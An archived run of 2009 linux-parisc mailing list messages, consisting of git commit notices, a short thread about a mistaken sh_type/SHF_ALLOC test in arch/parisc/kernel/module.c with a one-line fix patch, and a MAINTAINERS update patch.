Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1993>

Rebased ref, commits from common ancestor:
commit 88d1e1f0c7c0c009cd4f57a4d0e16b3f8b1af401
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Aug 4 16:54:41 2009 +0200

    parisc: convert to asm-generic/hardirq.h
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Tue, 4 Aug 2009 15:23:43 GMT
Lines: 22
Approved: news@gmane.org
Message-ID: <200908041523.n74FNhdm027043@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1249399433 17554 80.91.229.12 (4 Aug 2009 15:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 15:23:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 04 17:23:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYLrd-0006BN-QN
	for glpp-linux-parisc@gmane.org; Tue, 04 Aug 2009 17:23:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751194AbZHDPXn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 11:23:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753179AbZHDPXn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 11:23:43 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:49983 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751194AbZHDPXn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 11:23:43 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX187n2PuvqbTbvlE+BbRvKoXyr1lqrfThKg@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n74FNhlc027044
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 4 Aug 2009 15:23:44 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n74FNhdm027043
	for linux-parisc@vger.kernel.org; Tue, 4 Aug 2009 15:23:43 GMT
X-Virus-Scanned: ClamAV 0.93.3/9650/Tue Aug  4 03:42:34 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 04 Aug 2009 15:23:44 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1994>

New commits:
commit bb55a9147268749577b262490eb539e4eb173b2b
Merge: 88d1e1f0c7c0c009cd4f57a4d0e16b3f8b1af401 7209a334ff1154987aa3a74f1bb595d44bb0b9b2
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Tue Aug 4 11:23:18 2009 -0400

    Merge branch 'ptrace' into next

commit 88d1e1f0c7c0c009cd4f57a4d0e16b3f8b1af401
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Aug 4 16:54:41 2009 +0200

    parisc: convert to asm-generic/hardirq.h
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: question about arch/parisc/kernel/module.c
Date: Tue, 4 Aug 2009 21:43:57 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0908042140280.3737@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1249415052 2433 80.91.229.12 (4 Aug 2009 19:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 19:44:12 +0000 (UTC)
To: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 04 21:44:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYPvW-0006cP-Ff
	for glpp-linux-parisc@gmane.org; Tue, 04 Aug 2009 21:44:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753105AbZHDTn7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 15:43:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753281AbZHDTn7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 15:43:59 -0400
Original-Received: from mgw1.diku.dk ([130.225.96.91]:34169 "EHLO mgw1.diku.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753105AbZHDTn7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 15:43:59 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw1.diku.dk (Postfix) with ESMTP id 85B1352C323;
	Tue,  4 Aug 2009 21:43:58 +0200 (CEST)
X-Virus-Scanned: amavisd-new at diku.dk
Original-Received: from mgw1.diku.dk ([127.0.0.1])
	by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RKERrU8jwGbM; Tue,  4 Aug 2009 21:43:57 +0200 (CEST)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw1.diku.dk (Postfix) with ESMTP id 464E352C321;
	Tue,  4 Aug 2009 21:43:57 +0200 (CEST)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id 7D0596DF823; Tue,  4 Aug 2009 21:43:02 +0200 (CEST)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id 2D352154E8A; Tue,  4 Aug 2009 21:43:57 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id 28B081549A9;
	Tue,  4 Aug 2009 21:43:57 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1995>

The file arch/parisc/kernel/module.c in the function module_finalize 
contains the following code:

	for (i = 1; i < hdr->e_shnum; i++) {
                if(sechdrs[i].sh_type == SHT_SYMTAB
                   && (sechdrs[i].sh_type & SHF_ALLOC)) {
	                int strindex = sechdrs[i].sh_link;
			/* FIXME: AWFUL HACK
	                 * The cast is to drop the const from
                         * the sechdrs pointer */
                        symhdr = (Elf_Shdr *)&sechdrs[i];
                        strtab = (char *)sechdrs[strindex].sh_addr;
	                break;
	        }
        }

The third line, (sechdrs[i].sh_type & SHF_ALLOC), loos suspicious, because 
actually SHT_SYMTAB and SHF_ALLOC have the same value.  Should the third 
line be (sechdrs[i].sh_flags & SHF_ALLOC) instead?

julia
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: question about arch/parisc/kernel/module.c
Date: Tue, 4 Aug 2009 15:51:16 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20090804195116.GM28572@bombadil.infradead.org>
References: <Pine.LNX.4.64.0908042140280.3737@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249415498 3793 80.91.229.12 (4 Aug 2009 19:51:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 19:51:38 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org
To: Julia Lawall <julia@diku.dk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 04 21:51:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYQ2b-0007w2-Hs
	for glpp-linux-parisc@gmane.org; Tue, 04 Aug 2009 21:51:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753089AbZHDTvT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 15:51:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753338AbZHDTvT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 15:51:19 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41155 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753089AbZHDTvT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 15:51:19 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MYQ2W-0001oR-Eh; Tue, 04 Aug 2009 19:51:16 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0908042140280.3737@ask.diku.dk>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1996
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1996>

On Tue, Aug 04, 2009 at 09:43:57PM +0200, Julia Lawall wrote:
> 	for (i = 1; i < hdr->e_shnum; i++) {
>                 if(sechdrs[i].sh_type == SHT_SYMTAB
>                    && (sechdrs[i].sh_type & SHF_ALLOC)) {
> 	                int strindex = sechdrs[i].sh_link;
> 			/* FIXME: AWFUL HACK
> 	                 * The cast is to drop the const from
>                          * the sechdrs pointer */
>                         symhdr = (Elf_Shdr *)&sechdrs[i];
>                         strtab = (char *)sechdrs[strindex].sh_addr;
> 	                break;
> 	        }
>         }
> 
> The third line, (sechdrs[i].sh_type & SHF_ALLOC), loos suspicious, because 
> actually SHT_SYMTAB and SHF_ALLOC have the same value.  Should the third 
> line be (sechdrs[i].sh_flags & SHF_ALLOC) instead?
> 

Yup, you're quite right. Could you submit a patch, please?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: question about arch/parisc/kernel/module.c
Date: Tue, 4 Aug 2009 21:58:22 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0908042158100.3737@ask.diku.dk>
References: <Pine.LNX.4.64.0908042140280.3737@ask.diku.dk>
 <20090804195116.GM28572@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1249415952 5095 80.91.229.12 (4 Aug 2009 19:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 19:59:12 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 04 21:59:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYQA3-0004nz-PX
	for glpp-linux-parisc@gmane.org; Tue, 04 Aug 2009 21:59:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754107AbZHDT62 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 15:58:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754070AbZHDT62
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 15:58:28 -0400
Original-Received: from mgw1.diku.dk ([130.225.96.91]:60698 "EHLO mgw1.diku.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754107AbZHDT61 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 15:58:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw1.diku.dk (Postfix) with ESMTP id 8449352C335;
	Tue,  4 Aug 2009 21:58:26 +0200 (CEST)
X-Virus-Scanned: amavisd-new at diku.dk
Original-Received: from mgw1.diku.dk ([127.0.0.1])
	by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UvyNKrl8efW2; Tue,  4 Aug 2009 21:58:25 +0200 (CEST)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw1.diku.dk (Postfix) with ESMTP id 9001652C328;
	Tue,  4 Aug 2009 21:58:22 +0200 (CEST)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id BAD1A6DFD9A; Tue,  4 Aug 2009 21:57:27 +0200 (CEST)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id 73FAB154E8A; Tue,  4 Aug 2009 21:58:22 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id 71C981549A9;
	Tue,  4 Aug 2009 21:58:22 +0200 (CEST)
In-Reply-To: <20090804195116.GM28572@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1997
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1997>

On Tue, 4 Aug 2009, Kyle McMartin wrote:

> On Tue, Aug 04, 2009 at 09:43:57PM +0200, Julia Lawall wrote:
> > 	for (i = 1; i < hdr->e_shnum; i++) {
> >                 if(sechdrs[i].sh_type == SHT_SYMTAB
> >                    && (sechdrs[i].sh_type & SHF_ALLOC)) {
> > 	                int strindex = sechdrs[i].sh_link;
> > 			/* FIXME: AWFUL HACK
> > 	                 * The cast is to drop the const from
> >                          * the sechdrs pointer */
> >                         symhdr = (Elf_Shdr *)&sechdrs[i];
> >                         strtab = (char *)sechdrs[strindex].sh_addr;
> > 	                break;
> > 	        }
> >         }
> > 
> > The third line, (sechdrs[i].sh_type & SHF_ALLOC), loos suspicious, because 
> > actually SHT_SYMTAB and SHF_ALLOC have the same value.  Should the third 
> > line be (sechdrs[i].sh_flags & SHF_ALLOC) instead?
> > 
> 
> Yup, you're quite right. Could you submit a patch, please?

Yes, I will do that shortly.

julia
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: [PATCH] arch/parisc: correct use of SHF_ALLOC
Date: Tue, 4 Aug 2009 22:27:07 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0908042226231.3737@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1249417641 10698 80.91.229.12 (4 Aug 2009 20:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 20:27:21 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 04 22:27:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYQbH-0008Qe-VH
	for glpp-linux-parisc@gmane.org; Tue, 04 Aug 2009 22:27:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932387AbZHDU1K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 16:27:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932342AbZHDU1J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 16:27:09 -0400
Original-Received: from mgw1.diku.dk ([130.225.96.91]:42826 "EHLO mgw1.diku.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932143AbZHDU1I (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 16:27:08 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw1.diku.dk (Postfix) with ESMTP id EEE9452C325;
	Tue,  4 Aug 2009 22:27:08 +0200 (CEST)
X-Virus-Scanned: amavisd-new at diku.dk
Original-Received: from mgw1.diku.dk ([127.0.0.1])
	by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hQnrI3pNnh+C; Tue,  4 Aug 2009 22:27:07 +0200 (CEST)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw1.diku.dk (Postfix) with ESMTP id 60A1252C313;
	Tue,  4 Aug 2009 22:27:07 +0200 (CEST)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id 8B3216DF8B3; Tue,  4 Aug 2009 22:26:12 +0200 (CEST)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id 4AC8A154E8C; Tue,  4 Aug 2009 22:27:07 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id 48469154E41;
	Tue,  4 Aug 2009 22:27:07 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1998 gmane.linux.kernel:873286 gmane.linux.kernel.janitors:17174
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1998>

From: Julia Lawall <julia@diku.dk>

SHF_ALLOC is suitable for testing against the sh_flags field, not the
sh_type field.

Signed-off-by: Julia Lawall <julia@diku.dk>

---
 arch/parisc/kernel/module.c         |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index ef5caf2..c904817 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -853,7 +853,7 @@ int module_finalize(const Elf_Ehdr *hdr,
 	 * ourselves */
 	for (i = 1; i < hdr->e_shnum; i++) {
 		if(sechdrs[i].sh_type == SHT_SYMTAB
-		   && (sechdrs[i].sh_type & SHF_ALLOC)) {
+		   && (sechdrs[i].sh_flags & SHF_ALLOC)) {
 			int strindex = sechdrs[i].sh_link;
 			/* FIXME: AWFUL HACK
 			 * The cast is to drop the const from
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add me to Maintainers
Date: Tue, 04 Aug 2009 23:59:55 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <1249430395.3939.49.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249430438 12440 80.91.229.12 (5 Aug 2009 00:00:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 00:00:38 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 02:00:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYTvO-0007SM-Q3
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 02:00:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933678AbZHDX77 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 19:59:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933681AbZHDX77
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 19:59:59 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60113 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933678AbZHDX76 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 19:59:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E01F48EE120
	for <linux-parisc@vger.kernel.org>; Tue,  4 Aug 2009 16:59:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WKU1dIFD2+ct for <linux-parisc@vger.kernel.org>;
	Tue,  4 Aug 2009 16:59:58 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 787D68EE0C8
	for <linux-parisc@vger.kernel.org>; Tue,  4 Aug 2009 16:59:58 -0700 (PDT)
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1999>

It has been suggested that given my proficiency with less popular
architectures, I should be officially listed as willing to see to the
care and feeding of this one.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---

diff --git a/MAINTAINERS b/MAINTAINERS
index b1114cf..9c0f456 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -3863,6 +3863,7 @@ F:	drivers/block/paride/
 PARISC ARCHITECTURE
 M:	Kyle McMartin <kyle@mcmartin.ca>
 M:	Helge Deller <deller@gmx.de>
+M:	"James E.J. Bottomley" <jejb@parisc-linux.org>
 L:	linux-parisc@vger.kernel.org
 W:	http://www.parisc-linux.org/
 T:	git git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Wed, 5 Aug 2009 00:41:01 GMT
Lines: 174
Approved: news@gmane.org
Message-ID: <200908050041.n750f1mG004882@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1249432889 18075 80.91.229.12 (5 Aug 2009 00:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 00:41:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 02:41:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYUZB-0004Tq-T9
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 02:41:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753553AbZHEAlP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 20:41:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754520AbZHEAlP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 20:41:15 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:42211 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753553AbZHEAlO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 20:41:14 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+kW2ceey/UAXwfDjNouBfKUfncG26gBhI@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n750f2i2004884
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 5 Aug 2009 00:41:02 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n750f1mG004882
	for linux-parisc@vger.kernel.org; Wed, 5 Aug 2009 00:41:01 GMT
X-Virus-Scanned: ClamAV 0.93.3/9653/Tue Aug  4 18:35:53 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Wed, 05 Aug 2009 00:41:15 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2000
